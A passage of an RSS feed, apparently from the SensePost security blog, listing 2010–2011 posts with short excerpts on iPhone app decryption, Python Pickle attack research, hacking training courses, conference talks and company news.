				<description>&lt;p&gt;This blog post steps through how to convert encrypted iPhone application bundles into plaintext application bundles that are easier to analyse.&lt;/p&gt;&#xA;&lt;p&gt;Requirements:&lt;br /&gt;&#xA;1)&#x9;Jailbroken iPhone with OpenSSH, gdb plus other utilities (com.ericasadun.utilities etc. etc.)&lt;br /&gt;&#xA;2)&#x9;An iPhone app&lt;br /&gt;&#xA;3)&#x9;On your machine:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;otool (comes with iPhone SDK)&lt;/li&gt;&#xA;&lt;li&gt;Hex editor (0xED, HexWorkshop etc.)&lt;/li&gt;&#xA;&lt;li&gt;Ida &amp;#8211; Version 5.2 through 5.6 supports remote debugging of iPhone applications (iphone_server).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;For this article, I will use the app name as “blah”.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Be Inspired</title>
				<link>https://sensepost.com/blog/2011/be-inspired/</link>
				<pubDate>Mon, 17 Oct 2011 07:31:09 +0000</pubDate>
				<guid>https://sensepost.com/blog/2011/be-inspired/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;Talented&lt;/li&gt;&#xA;&lt;li&gt;Innovative&lt;/li&gt;&#xA;&lt;li&gt;Quality driven&lt;/li&gt;&#xA;&lt;li&gt;Forward thinking&lt;/li&gt;&#xA;&lt;li&gt;Trusted advisors&lt;/li&gt;&#xA;&lt;li&gt;And …&lt;strong&gt;simply good fun!&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;These are all phrases associated with SensePost. Do you think you have what it takes to become part of our expanding GLOBAL team?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;We are looking for more security assessment consultants to join us in the UK and South Africa.&lt;/strong&gt; Security assessments are what we live and breathe – whether it’s foot-printing and obtaining enterprise domain admin rights on production networks, training hundreds at conferences around the world, to reverse-engineering mobile applications and producing cutting-edge security applications.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Press Release – Jane Frankland joins SensePost</title>
				<link>https://sensepost.com/blog/2011/press-release-jane-frankland-joins-sensepost/</link>
				<pubDate>Sat, 08 Oct 2011 10:53:16 +0000</pubDate>
				<guid>https://sensepost.com/blog/2011/press-release-jane-frankland-joins-sensepost/</guid>
				<description>&lt;p&gt;The SensePost marketing division, a highly skilled team of ruthless spin-doctors, is proud to announce that they have written &amp;#8230; a press release. Indeed, this team of fawners, flunkeys, lackeys and puffers has been slaving since early 2009 to come up with the pristine example of literary art you will read below. If you&amp;#8217;re intimidated by what I&amp;#8217;ve just said, harbour a fanatical dislike for marketing folks or simply don&amp;#8217;t read so good, then here&amp;#8217;s the short version:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Black Hat Abu Dhabi &amp;&amp; Cadet Online Edition</title>
				<link>https://sensepost.com/blog/2011/black-hat-abu-dhabi-cadet-online-edition/</link>
				<pubDate>Thu, 06 Oct 2011 09:21:51 +0000</pubDate>
				<guid>https://sensepost.com/blog/2011/black-hat-abu-dhabi-cadet-online-edition/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2011/black-hat-abu-dhabi-cadet-online-edition/def4e815e330fbec66f620d82f1d2d7c.jpg&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;104&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2011/black-hat-abu-dhabi-cadet-online-edition/9c955c03fe772799827aa639aadbd4f1.jpg&#34; title=&#34;bhad&#34; width=&#34;300&#34; /&gt;&lt;/a&gt;&lt;a href=&#34;https://www.blackhat.com/html/bh-ad-11/bh-ad-11-home.html&#34; target=&#34;_blank&#34;&gt;Black Hat&lt;/a&gt; will host its second event in the Middle East in Abu Dhabi with a full contingent of selected Training and three tracks of Briefings over four days from December 12 to 15 December 2011.&lt;/p&gt;&#xA;&lt;p&gt;We&amp;#8217;re pleased to announce that SensePost will be back again this year with our exciting new Wifi hacking course &amp;#8211; &lt;a href=&#34;http://http://www.sensepost.com/services/training/unplugged&#34; target=&#34;_blank&#34;&gt;Hacking By Numbers, Unplugged Edition&lt;/a&gt;, launched for the 1st time in Las Vegas this year. This course is fresh and exciting and was an amazing success at Black Hat earlier this year. You can &lt;a href=&#34;https://www.blackhat.com/html/bh-ad-11/training/bh-ad-11-training_sp-unplugged.html&#34;&gt;register directly&lt;/a&gt; on the Black Hat site, or &lt;a href=&#34;http://http://www.sensepost.com/contact%20us&#34; target=&#34;_blank&#34;&gt;contact us&lt;/a&gt; if you want more information.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Runtime analysis of Windows Phone 7 Applications</title>
				<link>https://sensepost.com/blog/2011/runtime-analysis-of-windows-phone-7-applications/</link>
				<pubDate>Wed, 14 Sep 2011 15:33:43 +0000</pubDate>
				<guid>https://sensepost.com/blog/2011/runtime-analysis-of-windows-phone-7-applications/</guid>
				<description>&lt;p&gt;Runtime analysis is an integral part of most application security assessment processes. Many powerful tools have been developed to perform execution/data flow analysis and code debugging for desktop and server operating systems. Although a few dynamic analysis tools such as DroidBox are available for Android, I currently know of no similar public tools for the Windows Phone 7 platform. The main challenge for Windows Phone 7 is the lack of a programable debugging interface in both the Emulator and phone devices. The Visual Studio 2010 debugger for Phone applications does not have an &amp;#8220;Attach to process&amp;#8221; feature and can only be used to debug applications for which the source code is available.  Although the Kernel Independent Transport Layer (KITL) can be enabled on some Windows Phone devices at boot time which could be very useful for Kernel and unmanged code debugging, it can&amp;#8217;t be used directly for code tracing of phone applications which are executed by the .NET  compact framework.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Hacking Online Auctions – UnCon &amp;&amp; ITWeb talk</title>
				<link>https://sensepost.com/blog/2011/hacking-online-auctions-uncon-itweb-talk/</link>
				<pubDate>Tue, 13 Sep 2011 10:20:20 +0000</pubDate>
				<guid>https://sensepost.com/blog/2011/hacking-online-auctions-uncon-itweb-talk/</guid>
				<description>&lt;p&gt;I gave an updated version of my &lt;strong&gt;&amp;#8216;Hacking Online Auctions&amp;#8217;&lt;/strong&gt; talk at UnCon in London last week. The talk gave a brief intro to general auction theory, and how the models can be applied online, but the main focus was on &amp;#8216;penny auction&amp;#8217; websites. What are those all about then? Well, during my Masters last year I took a course on Internet Economics, and one of the modules involved auction theory. It was a really interesting module, and I did a bit of my own research on the side, whereby I stumbled across various penny auction sites. The sites (who pretend to be akin to eBay or the likes) go a little something like this:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Systems Applications Proxy Pwnage</title>
				<link>https://sensepost.com/blog/2011/systems-applications-proxy-pwnage/</link>
				<pubDate>Fri, 02 Sep 2011 12:14:23 +0000</pubDate>
				<guid>https://sensepost.com/blog/2011/systems-applications-proxy-pwnage/</guid>
				<description>&lt;p&gt;[2011/9/6 Edited to add Slideshare embed]&lt;/p&gt;&#xA;&lt;p&gt;I am currently in London at the first ever &lt;a href=&#34;http://www.44con.com&#34;&gt;44con&lt;/a&gt; conference.  It&amp;#8217;s been a fantastic experience so far &amp;#8211; excellent talks &amp;amp; friendly people.&lt;/p&gt;&#xA;&lt;p&gt;Yesterday, I presented a paper titled &amp;#8220;Systems Applications Proxy Pwnage&amp;#8221; .  The talk precis sums it up nicely:&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;It has been common knowledge for a number of years that SAP GUI communicates using an unencrypted and compressed protocol by default, and numerous papers have been published by security professionals and researchers dealing with decompressing this traffic.&lt;/em&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>SensePost @ 44Con – Join us!</title>
				<link>https://sensepost.com/blog/2011/sensepost-@-44con-join-us/</link>
				<pubDate>Fri, 19 Aug 2011 08:31:08 +0000</pubDate>
				<guid>https://sensepost.com/blog/2011/sensepost-@-44con-join-us/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;http://www.44con.com/training/sensepost.html&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;131&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2011/sensepost-44con-join-us/8f3b2f7440b1df8668e10cff6910bddf.png&#34; title=&#34;44con-intro&#34; width=&#34;300&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Until recently, there was a distinct lack of decent, high-quality technical security conferences held in the United Kingdom. Home to the Global Financial Centre, London, there isn’t a shortage of industries who require secure applications and rely on secure infrastructure and applications to operate.&lt;/p&gt;&#xA;&lt;p&gt;With this in mind, &lt;a href=&#34;http://www.44con.com/&#34;&gt;44Con&lt;/a&gt; is the first combined information security conference and training event held in Central London. The con will provide business and technical tracks, aimed at government, public sector, financial, security professionals and Chief Security Officers.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Metricon6 Presentation</title>
				<link>https://sensepost.com/blog/2011/metricon6-presentation/</link>
				<pubDate>Wed, 10 Aug 2011 09:38:53 +0000</pubDate>
				<guid>https://sensepost.com/blog/2011/metricon6-presentation/</guid>
				<description>&lt;p&gt;Dominic is currently in the air somewhere over the Atlantic, returning from a long trip that included BlackHat, DefCon and lastly &lt;a href=&#34;http://metricon6.org/&#34;&gt;Metricon6&lt;/a&gt;, where he spoke on a threat model approach that he has picked up and fleshed out. He has promised a full(er) write-up on his glorious return, however in the meantime his slides are below. An updated copy of the CTM tool is on the &lt;a href=&#34;http://www.sensepost.com/labs/tools/management/ctm&#34;&gt;CTM page&lt;/a&gt;, as is the demonstration dashboard (a nifty spreadsheet-from-the-deep that interactively provides various views on your threat model).&lt;/p&gt;</description>
			</item>
			<item>
				<title>BlackHat 2011 Presentation</title>
				<link>https://sensepost.com/blog/2011/blackhat-2011-presentation/</link>
				<pubDate>Sun, 07 Aug 2011 23:54:22 +0000</pubDate>
				<guid>https://sensepost.com/blog/2011/blackhat-2011-presentation/</guid>
				<description>&lt;p&gt;On this past Thursday we spoke at BlackHat USA on Python Pickle. In the presentation, we covered approaches for implementing missing functionality in Pickle, automating the conversion of Python calls into Pickle opcodes, scenarios in which attacks are possible and guidelines for writing shellcode. Two tools were released:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Converttopickle.py – automates conversion from Python-like statements into shellcode.&lt;/li&gt;&#xA;&lt;li&gt;Anapickle – helps with the creation of malicious pickles. Contains the shellcode library.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Lastly, we demonstrated bugs in a library, a piece of security software, typical web apps, peer-to-peer software and a privesc bug on RHEL6.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Security Policies – Go Away</title>
				<link>https://sensepost.com/blog/2011/security-policies-go-away/</link>
				<pubDate>Thu, 14 Jul 2011 14:44:19 +0000</pubDate>
				<guid>https://sensepost.com/blog/2011/security-policies-go-away/</guid>
				<description>&lt;p&gt;Security policies are necessary, but their focus is to the detriment of more important security tasks. If auditors had looked for trivial SQL injection on a companies front-page as hard as they have checked for security polices, then maybe our industry would be in a better place. I want to make this go away, I want to help you tick the box so you can focus on the real work. If you just want the &amp;#8220;tool&amp;#8221; skip to the end.&lt;/p&gt;</description>
			</item>
			<item>
				<title>SensePost Black Hat Course Summary &amp; chosing the right courses</title>
				<link>https://sensepost.com/blog/2011/sensepost-black-hat-course-summary-chosing-the-right-courses/</link>
				<pubDate>Fri, 08 Jul 2011 12:19:24 +0000</pubDate>
				<guid>https://sensepost.com/blog/2011/sensepost-black-hat-course-summary-chosing-the-right-courses/</guid>
				<description>&lt;p&gt;As we draw nearer to Black Hat Vegas we get a lot of requests from people who need help choosing between one of our courses or the other. In order to provide people with a single, consolidated summary of all the courses we&amp;#8217;ll be offering this year I&amp;#8217;ve put together a rough summary doc that outlines all the courses and attempts to illustrate how they fit together. Get it here:&lt;/p&gt;</description>
			</item>
			<item>
				<title>House of Cards</title>
				<link>https://sensepost.com/blog/2011/house-of-cards/</link>
				<pubDate>Thu, 07 Jul 2011 12:34:19 +0000</pubDate>
				<guid>https://sensepost.com/blog/2011/house-of-cards/</guid>
				<description>&lt;p&gt;In light of recent mass hacks (HBGary, Sony, Nintendo,  etc) one would have thought that collectively, companies would take notice and at least be slightly more aware of the potential implications vulnerabilities in public-facing services could have.&lt;/p&gt;&#xA;&lt;p&gt;The problem appears to be that these hacks, and indeed hackers, aren’t that technically superior and more often than not, take advantage of simple flaws.  Some flaws, like SQL injection, provide so much access on their own that a fairly grim attack scenario can be painted. However, often attackers don&amp;#8217;t require such extravagant flaws to gain access. Chained attacks utilising &amp;#8220;low risk&amp;#8221; attacks can be far more deadly than a single flaw.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Threat Modeling vs Information Classification</title>
				<link>https://sensepost.com/blog/2011/threat-modeling-vs-information-classification/</link>
				<pubDate>Wed, 08 Jun 2011 06:34:16 +0000</pubDate>
				<guid>https://sensepost.com/blog/2011/threat-modeling-vs-information-classification/</guid>
				<description>&lt;p&gt;Over the last few years there has been a popular meme talking about information centric security as a new paradigm over vulnerability centric security. I&amp;#8217;ve long struggled with the idea of information-centricity being successful, and in replying to a post by &lt;a href=&#34;https://logicalsecurity.wordpress.com/2011/06/07/information-class-ed-ification/&#34;&gt;Rob Bainbridge&lt;/a&gt;, quickly jotted some of those problems down.&lt;/p&gt;&#xA;&lt;p&gt;In pre-summary, I&amp;#8217;m still sceptical of information-classification approaches (or information-led control implementations)  as I feel they target a theoretically sensible idea, but not a practically sensible one.&lt;/p&gt;</description>
			</item>
			<item>
				<title>From the International Conference on Cyber Conflict</title>
				<link>https://sensepost.com/blog/2011/from-the-international-conference-on-cyber-conflict/</link>
				<pubDate>Tue, 07 Jun 2011 16:13:53 +0000</pubDate>
				<guid>https://sensepost.com/blog/2011/from-the-international-conference-on-cyber-conflict/</guid>
				<description>&lt;p&gt;The text that follows is a short statement I prepared for the press ahead of my presentation at the &amp;#8216;The International Conference on Cyber Conflict&amp;#8217; (&lt;a href=&#34;http://www.ccdcoe.org/ICCC/&#34;&gt;http://www.ccdcoe.org/ICCC/&lt;/a&gt;) in Tallinn, Estonia. It felt like I had very mixed response, so I&amp;#8217;d be interested to hear what others think…&lt;/p&gt;&#xA;&lt;h3&gt;My background and context&lt;/h3&gt;&#xA;&lt;p&gt;Any opinion can only be understood if you also understand its context. Therefore, in order to understand the thinking that follows, you also have to understand my perspective. Three aspects of my context effect my thinking here:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Hacking By Numbers: W^3 Edition</title>
				<link>https://sensepost.com/blog/2011/hacking-by-numbers-w3-edition/</link>
				<pubDate>Sun, 29 May 2011 22:54:19 +0000</pubDate>
				<guid>https://sensepost.com/blog/2011/hacking-by-numbers-w3-edition/</guid>
				<description>&lt;p&gt;Well, we&amp;#8217;re ramping up with the new Hacking By Numbers W^3 edition course we will be presenting at BlackHat Vegas this year.  This course is a replacement for the Web2.0 course we successfully presented over the past three years and sports a whole bunch of new and improved practicals.  We&amp;#8217;ve also upped the technology being used and the presentation is chock-full of ASCII sheep&amp;#8230; :)&lt;/p&gt;&#xA;&lt;p&gt;The new course is an intermediate web application hacking course, and will deal with the following topics&lt;/p&gt;</description>
			</item>
			<item>
				<title>Hacking by Numbers: BlackOps Edition</title>
				<link>https://sensepost.com/blog/2011/hacking-by-numbers-blackops-edition/</link>
				<pubDate>Fri, 27 May 2011 11:19:32 +0000</pubDate>
				<guid>https://sensepost.com/blog/2011/hacking-by-numbers-blackops-edition/</guid>
				<description>&lt;p&gt;The brand new BlackOps HBN course makes its debut in Vegas this year. The course finds its place as a natural follow on from &lt;a href=&#34;http://www.blackhat.com/html/bh-us-11/training/bh-us-11-training_sp-b.html&#34;&gt;Bootcamp&lt;/a&gt;, and prepares students for the more intense &lt;a href=&#34;http://www.blackhat.com/html/bh-us-11/training/bh-us-11-training_sp-c.html&#34;&gt;Combat&lt;/a&gt; edition. Where Bootcamp focuses on methodology and Combat focuses on thinking, BlackOps covers tools and techniques to brush up your skills.&lt;/p&gt;&#xA;&lt;p&gt;This course is split into eight segments, covering scripting, targeting, compromise, privilege escalation, pivoting, exfiltration, client-side and and even a little exploit writing. BlackOps is different from our other courses in that it is pretty full of tricks, which are needed to move from the methodology of hacking to professional-level pentesting. It&amp;#8217;s likely to put a little (more) hair on your chest.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Incorporating cost into appsec metrics for organisations</title>
				<link>https://sensepost.com/blog/2011/incorporating-cost-into-appsec-metrics-for-organisations/</link>
				<pubDate>Sun, 22 May 2011 21:23:11 +0000</pubDate>
				<guid>https://sensepost.com/blog/2011/incorporating-cost-into-appsec-metrics-for-organisations/</guid>
				<description>&lt;p&gt;A longish post, but this wasn&amp;#8217;t going to fit into 140 characters. This is an argument pertaining to security metrics, with a statement that using pure vulnerability count-based metrics to talk about an organisation&amp;#8217;s application (in)security is insufficient, and suggests an alternative approach. Comments welcome.&lt;/p&gt;&#xA;&lt;h3&gt;Current metrics&lt;/h3&gt;&#xA;&lt;p&gt;Metrics and statistics &lt;a href=&#34;http://www.gapminder.org/world/&#34;&gt;are&lt;/a&gt; &lt;a href=&#34;http://www.inf.usi.ch/phd/wettel/codecity.html&#34;&gt;certainly&lt;/a&gt; &lt;a href=&#34;http://blog.okcupid.com/index.php/the-biggest-lies-in-online-dating/&#34;&gt;interesting&lt;/a&gt; (none of those are infosec links). Within our industry, Verizon&amp;#8217;s &lt;a href=&#34;http://www.verizonbusiness.com/resources/reports/rp_data-breach-investigations-report-2011_en_xg.pdf&#34;&gt;Data Breach Investigations Report&lt;/a&gt; (DBIR) makes a splash each year, and Veracode are also receiving growing recognition for their &lt;a href=&#34;http://info.veracode.com/rs/veracode/images/soss-v3.pdf&#34;&gt;State of Software Security&lt;/a&gt; (SOSS). Both are interesting to read and contain much insight. The DBIR specifically examines and records metrics for breaches, a post-hoc activity that only occurs once a series of vulnerabilities have been found and exploited by ruffians, while the SOSS provides insight into the opposing end of a system&amp;#8217;s life-cycle by automatically analysing applications before they are put into production (in a perfect world&amp;#8230; no doubt they also examine apps that are already in production). Somewhat tangentially, Dr Geer &lt;a href=&#34;http://geer.tinho.net/ieee/ieee.sp.geer.1105.pdf&#34;&gt;wrote&lt;/a&gt; recently about a different metric for measuring the overall state of Cyber Security, we&amp;#8217;re &lt;a href=&#34;http://www.cybersecurityindex.org/&#34;&gt;currently at a 1021.6&lt;/a&gt;. Oh noes!&lt;/p&gt;</description>
			</item>
			<item>
				<title>Hacking by Numbers: Bootcamp Edition</title>
				<link>https://sensepost.com/blog/2011/hacking-by-numbers-bootcamp-edition/</link>
				<pubDate>Tue, 17 May 2011 14:31:29 +0000</pubDate>
				<guid>https://sensepost.com/blog/2011/hacking-by-numbers-bootcamp-edition/</guid>
				<description>&lt;p&gt;Salut &amp;agrave; tous,&lt;/p&gt;&#xA;&lt;p&gt;It&amp;#8217;s that time of the year again and like every year, we&amp;#8217;ll once again be running our ever-popular &amp;#8220;&lt;a href=&#34;http://blackhat.com/html/bh-us-11/training/bh-us-11-training_sp-b.html&#34; target=&#34;_blank&#34;&gt;BOOTCAMP EDITION&lt;/a&gt;&amp;#8221; at the BlackHat Briefings in Las Vegas this July-August. This course is part of our established Hacking by Numbers series. BUT, this year, only the name remains the same. We are slaving away at making this course cutting edge, providing you with a hands-on hacking experience on the latest operating systems, application frameworks and programming languages utilizing the latest tools and techniques. Gone are the days of IIS 5.0, Windows XP and we truly understand that [&lt;em&gt;ed: for Bootcamp, maybe&amp;#8230; Combat certainly contains an OS older than Win95&lt;/em&gt;].&lt;/p&gt;</description>
			</item>
			<item>
				<title>Rhodes MSc Information Security Weekend</title>
				<link>https://sensepost.com/blog/2011/rhodes-msc-information-security-weekend/</link>
				<pubDate>Mon, 16 May 2011 15:23:52 +0000</pubDate>
				<guid>https://sensepost.com/blog/2011/rhodes-msc-information-security-weekend/</guid>
				<description>&lt;p&gt;&lt;em&gt;An education isn&amp;#8217;t how much you have committed to memory, or even how much you know. It&amp;#8217;s being able to differentiate between what you know and what you don&amp;#8217;t.&lt;br /&gt;&#xA;&lt;/em&gt;&lt;strong&gt; &amp;#8211; Anatole France&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Jobs within Information Security, and indeed Information Technology, are often more than a 9-5 affair for many who choose them as their career. There is a wealth of different technologies, frameworks, approaches and information that you need to understand to perform your job to a suitable level. In IT security specifically, with the pace of technology constantly growing, keeping abreast is often easier said than done.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Cadet Training</title>
				<link>https://sensepost.com/blog/2011/cadet-training/</link>
				<pubDate>Fri, 06 May 2011 14:47:39 +0000</pubDate>
				<guid>https://sensepost.com/blog/2011/cadet-training/</guid>
				<description>&lt;p&gt;You’ve seen the movies. You’ve seen the cooler than life characters hacking systems using obscure keyboards and operating systems that seem to float through the network, so how about now really learning how it’s done?&lt;/p&gt;&#xA;&lt;p&gt;Hacking by Numbers, Cadet Edition is being presented at Black Hat USA this year by two super star SensePost hackers. This entry-level course will delve into the following topics:&lt;/p&gt;&#xA;&lt;p&gt;•            Understanding the hacker mind-set.&lt;/p&gt;&#xA;&lt;p&gt;•            Method based approached of understanding the penetration testing life cycle.&lt;/p&gt;</description>
			</item>
			<item>
				<title>ITWeb Security Summit</title>
				<link>https://sensepost.com/blog/2011/itweb-security-summit/</link>
				<pubDate>Thu, 17 Mar 2011 15:26:51 +0000</pubDate>
				<guid>https://sensepost.com/blog/2011/itweb-security-summit/</guid>
				<description>&lt;p&gt;The ITWeb Security Summit is creeping up on us again and will be happening on the 10-11th of May. This year ITWeb went with something slightly different, and are asking for people to suggest who they&amp;#8217;d like to see on day 2. These suggestions will then be voted on. So, if there&amp;#8217;s someone you&amp;#8217;re dying to see present or a topic you really want someone to spend some time researching, head over to their &lt;a href=&#34;http://www.itweb.co.za/securitysummit/&#34;&gt;community portal&lt;/a&gt; and write it down.&lt;/p&gt;</description>
			</item>
			<item>
				<title>To understand the battlefield, you need a broad view</title>
				<link>https://sensepost.com/blog/2011/to-understand-the-battlefield-you-need-a-broad-view/</link>
				<pubDate>Tue, 01 Mar 2011 14:16:23 +0000</pubDate>
				<guid>https://sensepost.com/blog/2011/to-understand-the-battlefield-you-need-a-broad-view/</guid>
				<description>&lt;p&gt;It is always a little bemusing to hear that we only provide pentests. Since 2001, SensePost has offered a very comprehensible vulnerability management service that&amp;#8217;s evolved through multiple generations of technologies and methodologies into a service we&amp;#8217;re very proud of. The Managed Vulnerability Scanning (&amp;#8220;MVS&amp;#8221;) service makes use of our purpose-built &lt;strong&gt;BroadView&lt;/strong&gt; scanning technology to scan a number of high profile South African and European clients. More information can be found &lt;a href=&#34;http://www.sensepost.com/services/vulnerability%20management&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;, but the purpose of this post is to introduce it with a basic overview of its deployment.&lt;/p&gt;</description>
			</item>
			<item>
				<title>BlackHat Barcelona Training</title>
				<link>https://sensepost.com/blog/2011/blackhat-barcelona-training/</link>
				<pubDate>Tue, 22 Feb 2011 00:19:03 +0000</pubDate>
				<guid>https://sensepost.com/blog/2011/blackhat-barcelona-training/</guid>
				<description>&lt;p&gt;Hola amigos,&lt;/p&gt;&#xA;&lt;p&gt;We will be running our elite &amp;#8220;&lt;a href=&#34;http://www.blackhat.com/html/bh-eu-11/training/bh-eu-11-training_SP-c.html&#34;&gt;Combat Training&lt;/a&gt;&amp;#8221; at the BlackHat Briefings in Barcelona this March (&lt;a href=&#34;http://www.blackhat.com/html/bh-eu-11/bh-eu-11-briefings.html&#34;&gt;talk&lt;/a&gt; lineup) and this course is the flagship of our established Hacking by Numbers series. From the first hour to the final minutes students are placed in different attacker scenarios as they race the clock to &amp;#8220;capture the flag&amp;#8221;. The trainers are highly skilled (as well as having the standard Southern African humour, looks, and charm) and the course is full of new hacks.&lt;/p&gt;</description>
			</item>
			<item>
				<title>The Yeti is here</title>
				<link>https://sensepost.com/blog/2011/the-yeti-is-here/</link>
				<pubDate>Tue, 15 Feb 2011 10:19:39 +0000</pubDate>
				<guid>https://sensepost.com/blog/2011/the-yeti-is-here/</guid>
				<description>&lt;p&gt;After several months of dedicated &amp;#8230; uh dedication, our new network footprinting tool is being made available to the masses.&lt;/p&gt;&#xA;&lt;p&gt;It&amp;#8217;s called Yeti and it is a cross-platform, Java application. It&amp;#8217;s predecessor, BidiBlah, was only available on Windows platforms and hopefully with Yeti we can now offer Internet intelligence gathering to everyone.&lt;/p&gt;&#xA;&lt;p&gt;So what does Yeti do:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Top level domain expansion (tld expand)&lt;/li&gt;&#xA;&lt;li&gt;Forward lookups (mx,ns,a,cname and zone transfers)&lt;/li&gt;&#xA;&lt;li&gt;Reverse lookups (ptr records)&lt;/li&gt;&#xA;&lt;li&gt;Cert Extraction (getting the common name, and domain from ssl certificates)&lt;/li&gt;&#xA;&lt;li&gt;Bing IP/Site searches&lt;/li&gt;&#xA;&lt;li&gt;Report exports to xls format&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;We invite you all to visit the &lt;a href=&#34;http://spyeti.blogspot.com/&#34;&gt;Yeti community blog&lt;/a&gt; and to participate in either  testing the tool or just to add comments. Usage instructions can be found on the spyeti blogspot.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Training – lots of stuff(c)</title>
				<link>https://sensepost.com/blog/2011/training-lots-of-stuffc/</link>
				<pubDate>Wed, 09 Feb 2011 13:15:14 +0000</pubDate>
				<guid>https://sensepost.com/blog/2011/training-lots-of-stuffc/</guid>
				<description>&lt;p&gt;Hey. Charl here. Lots of stuff is happening on the &lt;a href=&#34;http://www.sensepost.com/services/training&#34;&gt;training front&lt;/a&gt; right now (ed: right now!), and I wanted to make sure everyone is aware of it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;1. &lt;a href=&#34;http://www.sensepost.com/services/training/schedule&#34;&gt;New schedule published&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;At the start of the year we always try publish a schedule of when and where our various training courses are happening. Of course it changes a bit as the year progresses, but its a pretty good overview of where you need to be if you want to participate in one of the courses. The current 2011 schedule can be found &lt;a href=&#34;http://www.sensepost.com/services/training/schedule&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Happy New Year gift: source code!</title>
				<link>https://sensepost.com/blog/2011/happy-new-year-gift-source-code/</link>
				<pubDate>Mon, 03 Jan 2011 13:11:46 +0000</pubDate>
				<guid>https://sensepost.com/blog/2011/happy-new-year-gift-source-code/</guid>
				<description>&lt;p&gt;If you use the Gregorian Calendar, then Happy New Year! Down here in South Africa, we&amp;#8217;ve also ushered in a new year and in celebration SensePost is releasing source code for our in-house web proxy, Suru, under a BSD-style license.&lt;/p&gt;&#xA;&lt;p&gt;When released in 2006, Suru introduced a number of unique features to the world of inline proxies including trivial fuzzing, token correlation and background directory brute-forcing. Further improvements include timing analysis and indexable directory checks. These were not available in other commercial proxies at the time, hence our need to write our own. Since then, most of these features have been incorporated into more full-featured commercial proxies, negating the need for Suru.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Season’s Greetings</title>
				<link>https://sensepost.com/blog/2010/seasons-greetings/</link>
				<pubDate>Sat, 18 Dec 2010 22:53:47 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/seasons-greetings/</guid>
				<description>&lt;p&gt;To all our customers, staff (past and present), business partners, friends and associates I&amp;#8217;d like to wish a joyous and peaceful festive season. What started out as a depression is slowly becoming a success and I thank you for all your support during this past year. I look forward to seeing you all again soon and sharing with you an exciting and prosperous 2011!&lt;/p&gt;</description>
			</item>
			<item>
				<title>Internal spotlight</title>
				<link>https://sensepost.com/blog/2010/internal-spotlight/</link>
				<pubDate>Mon, 06 Dec 2010 16:30:41 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/internal-spotlight/</guid>
				<description>&lt;p&gt;&lt;span&gt;&lt;span&gt;As the year winds down, it&amp;#8217;s time to mention a &lt;/span&gt;&lt;/span&gt;few internal victories that are fun to share:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Daniel Cuthbert and Rogan Dawes (both staunch OWASP proponents) have joined our assessment team, which is a big boost. Welcome guys!&lt;/li&gt;&#xA;&lt;li&gt;Glenn Wilkinson, a lead analyst, had his Masters thesis &lt;a href=&#34;http://www.amazon.com/Identification-Hostile-Traffic-Support-Machines/dp/3843360677/ref=sr_1_1?ie=UTF8&amp;amp;qid=1291108115&amp;amp;sr=8-1&#34;&gt;listed on Amazon&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Dominic White was &lt;a href=&#34;http://singe.za.net/pics/sensepost-wikileaks.m4v&#34;&gt;interviewed&lt;/a&gt; in all his glory on .za teevee over Wikileaks&lt;/li&gt;&#xA;&lt;/ul&gt;</description>
			</item>
			<item>
				<title>Playing with Python Pickle #3</title>
				<link>https://sensepost.com/blog/2010/playing-with-python-pickle-%233/</link>
				<pubDate>Mon, 15 Nov 2010 21:54:09 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/playing-with-python-pickle-%233/</guid>
				<description>&lt;p&gt;[This is the third in a series of posts on Pickle. Link to part &lt;a href=&#34;http://www.sensepost.com/blog/5141.html&#34;&gt;one&lt;/a&gt; and &lt;a href=&#34;http://www.sensepost.com/blog/5145.html&#34;&gt;two&lt;/a&gt;.]&lt;/p&gt;&#xA;&lt;p&gt;Thanks for stopping by. This is the third posting on the bowels of Python Pickle, and it&amp;#8217;s going to get a little more complicated before it gets easier. In the previous two entries I introduced Pickle as an attack vector present in many memcached instances, and documented tricks for executing OS commands across Python versions as well as a mechanism for generically calling class instance methods from within the Pickle VM.&lt;/p&gt;</description>
			</item>
			<item>
